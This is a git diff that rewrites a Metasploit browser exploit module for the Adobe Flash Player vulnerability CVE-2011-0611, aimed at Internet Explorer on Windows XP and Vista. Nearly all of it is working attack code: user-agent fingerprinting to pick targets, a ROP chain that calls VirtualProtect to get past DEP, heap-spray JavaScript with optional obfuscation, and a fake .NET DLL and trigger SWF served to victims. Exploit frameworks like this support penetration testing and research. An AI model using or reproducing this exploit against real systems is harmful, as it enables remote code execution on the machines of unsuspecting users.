diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index dc57adbf45..601e7bf785 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -23,7 +23,9 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a vulnerability in Adobe Flash Player that was discovered, and has been exploited actively in the wild. By embedding a specially crafted .swf file, Adobe Flash crashes due to an invalid use of an object type, which allows attackers to - overwrite a pointer in memory, and results arbitrary code execution. + overwrite a pointer in memory, and results arbitrary code execution. Please note for + IE 8 targets, mscorie.dll (a .Net component) must be available on the victim machine + in order to work properly. }, 'License' => MSF_LICENSE, 'Version' => "$Revision$", @@ -44,9 +46,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'Space' => 2048, + 'Space' => 1024, 'BadChars' => "\x00", - 'StackAdjustment' => -3500, }, 'DefaultOptions' => { @@ -57,135 +58,189 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ], - [ - 'IE 6 on Windows XP SP3', - { - 'blockSize' => "0x10101", - 'spraySize' => "0x802", - 'paddSize' => "640", - }, - ], - [ - 'IE 7 on Windows XP SP3', - { - 'blockSize' => "0xf90", - 'spraySize' => "0x8efc", - 'paddSize' => "600", - } - ], - [ - #This target requires .NET CLR 2.0.50727 - 'IE 8 on Windows XP SP3', - { - 'blockSize' => "0xf90", - 'spraySize' => "0x8efc", - 'paddSize' => "502", - } - ], - [ - 'IE 7 on Windows Vista', - { - 'blockSize' => "0x10101", - 'spraySize' => "0x802", - 'paddSize' => "502", - } - ] + [ 'IE 6 on Windows XP SP3', { 'Rop' => false } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => false } ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => true } ], + [ 'IE 7 on Windows Vista', { 'Rop' => false } ], ], 'Privileged' => false, 'DisclosureDate' => "Apr 11 2011", 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) + ], self.class + ) + end + + def exploit + #Load the trigger file + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf") + f = File.open(path, "rb") + @trigger = f.read(f.stat.size) + f.close + + super + end + + def get_target(request) + agent = request.headers['User-Agent'] + + if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ + #Windows XP SP3 + IE 6.0 + return targets[1] + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ + #Windows XP SP3 + IE 7.0 + return targets[2] + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/ + #Windows XP SP3 + IE 8.0 + .Net CLR 2.0 + return targets[3] + elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ + #Windows Vista + IE 7 + return targets[4] + else + return nil + end + end + + def junk + return rand_text_alpha(4).unpack("L")[0].to_i end def on_request_uri(cli, request) + #Set default target + my_target = target - agent = request.headers['User-Agent'] - mytarget = '' - js_net_dll = '' - rop_gadgets = [0x0c0c0c0c].pack('V*') + #If user chooses automatic target, we choose one based on user agent + if my_target.name =~ /Automatic/ + my_target = get_target(request) - #Determine if exploit suits the target - if agent =~ /MSIE 6\.0/ - mytarget = targets[1] - elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ - mytarget = targets[2] - elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/ - mytarget = targets[3] + #No suitable target, we go ninja mode + if my_target.nil? + send_not_found(cli) + print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent") + return + end - net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll" - js_net_dll = "" - rop_gadgets = - [ + print_status("Target selected: #{my_target.name}") if datastore['VERBOSE'] + end - 0x63f05472, #POP EDI; POP ESI; RETN (mscorie.dll) - 0x41414141, #EDI - 0x77c15ed5, #XCHG EAX,ESP; RETN (msvcrt.dll) - 0x63f04d74, #CALL mscorie!_imp_VirtualProtect - 0x11111134, #Param: shellcode (Target address = 0x11111110+0x24) - 0x900, #Param: size (2304) - 0x40, #Param: newProtect - 0x11111110, #Param: oldProtect - 0x11111134, #RETN (Target address = 0x11111110+0x24) + uri = request.uri + print_status("URL: #{uri}") if datastore['VERBOSE'] - ].pack('V*') - - elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ - mytarget = targets[4] - else - send_not_found(cli) - print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent") - return - end - - if request.uri =~ /\.swf/ + if uri =~ /\.swf$/ + #Browser requests our trigger file, why not print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} ) return - elsif request.uri =~ /\.dll$/ + elsif uri =~ /\.dll$/ + #Throw the browser a fake .Net DLL so mscorie.dll will load print_status("Sending .NET dll to #{cli.peerhost}:#{cli.peerport}...") ibase = (0x2000 | rand(0x8000)) << 16 + + #Generate our .Net DLL with random data dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16)) - send_response(cli, dll, { 'Content-Type'=>'application/x-msdownload', 'Connection'=>'close', 'Pragma'=>'no-cache' } ) + + #Generate our headers for the browser to download the dll + headers = { + 'Content-Type' => 'application/x-msdownload', + 'Connection' => 'close', + 'Pragma' => 'no-cache' + } + + send_response(cli, dll, headers) return end - blockSize = mytarget['blockSize'] - spraySize = mytarget['spraySize'] - paddSize = mytarget['paddSize'] + #The type of arch our victim machine is running + arch = Rex::Arch.endian(my_target.arch) - shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) - nops = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') , Rex::Arch.endian(target.arch)) + if my_target['Rop'] + #DEP is enabled, rop it like a rop star + net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll" + js_net_dll = "" - swf_name = rand_text_alpha(rand(3)) - js_func_name = rand_text_alpha(rand(6) +3) - js_var_blocks_name = rand_text_alpha(rand(6) + 3) - js_var_shell_name = rand_text_alpha(rand(6) + 3) - js_var_nopsled_name = rand_text_alpha(rand(6) + 3) - js_var_index_name = rand_text_alpha(rand(6) + 3) - js_var_padding_offset = rand_text_alpha(rand(6) + 3) - js_var_rop_name = rand_text_alpha(rand(6) + 3) - js_var_roppadding_name = rand_text_alpha(rand(6) + 3) - trigger_file_name = "#{get_resource}/#{swf_name}.swf" - js_rop = Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch)) + #Land it exactly at 0x11111110 + rop = + [ + 0x63F031D8, #POP ECX; POP ESI; RETN + junk, + 0x7E451509, #XCHG EAX,ESP; RETN in USER32 + 0x63f04d74, #CALL mscorie!_imp_VirtualProtect + 0x11111138, #Param: shellcode (Target address = 0x11111110+0x24) + 0x900, #Param: size (2304) + 0x40, #Param: newProtect + 0x11111110, #Param: oldProtect + 0x11111138, #RETN (Target address = 0x11111110+0x24) + junk, + ].pack('V*') + + #Our payload will land at 11111110 + shellcode = Rex::Text.to_unescape(rop + payload.encoded, arch) + nops = Rex::Text.to_unescape(rand_text_alpha(4), arch) + + #Heap spray routine + js = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{shellcode}"); + var nops = unescape("#{nops}"); + + while (nops.length < 0x1000) nops += nops; + offset = nops.substring(0, 0x62); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + + while (shellcode.length < 0x20000) shellcode += shellcode; + block = shellcode.substring(0, (0x10000-6)/2); + + heap_obj.gc(); + + for (var i=0; i < 0x1000; i++) { + heap_obj.alloc(block); + } + JS + + else + #No DEP, giggity. 0x0c0c0c0c is our target address + nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch) + shellcode = Rex::Text.to_unescape(payload.encoded, arch) + + #Heap spray routine + js = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{shellcode}"); + var nops = unescape("#{nops}"); + + while (nops.length < 0x1000) nops += nops; + var shellcode = nops.substring(0, 0x1000-code.length) + code; + + while (shellcode.length < 0x20000) shellcode += shellcode; + block = shellcode.substring(0, (0x10000-6)/2); + + heap_obj.gc(); + + for (var i=0; i < 0x1000; i++) { + heap_obj.alloc(block); + } + JS + end + + #Implement heaplib + js = heaplib(js) + + #Javascript obfuscation is optional + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf" html = <<-EOS @@ -202,18 +257,9 @@ class Metasploit3 < Msf::Exploit::Remote html = html.gsub(/^\t\t/, "") - print_status("Sending malicious HTML to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type' => "text/html"} ) end - - def exploit - path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf") - f = File.open(path, "rb") - @trigger = f.read(f.stat.size) - f.close - - super - end end @@ -233,4 +279,4 @@ Flash10o+0xd01f6: 01d65100 00000000 00000000 00000000 00000000 01d65110 00000000 00000000 00000000 00000000 01d65120 00000000 00000000 00000000 00000000 -=end \ No newline at end of file +=end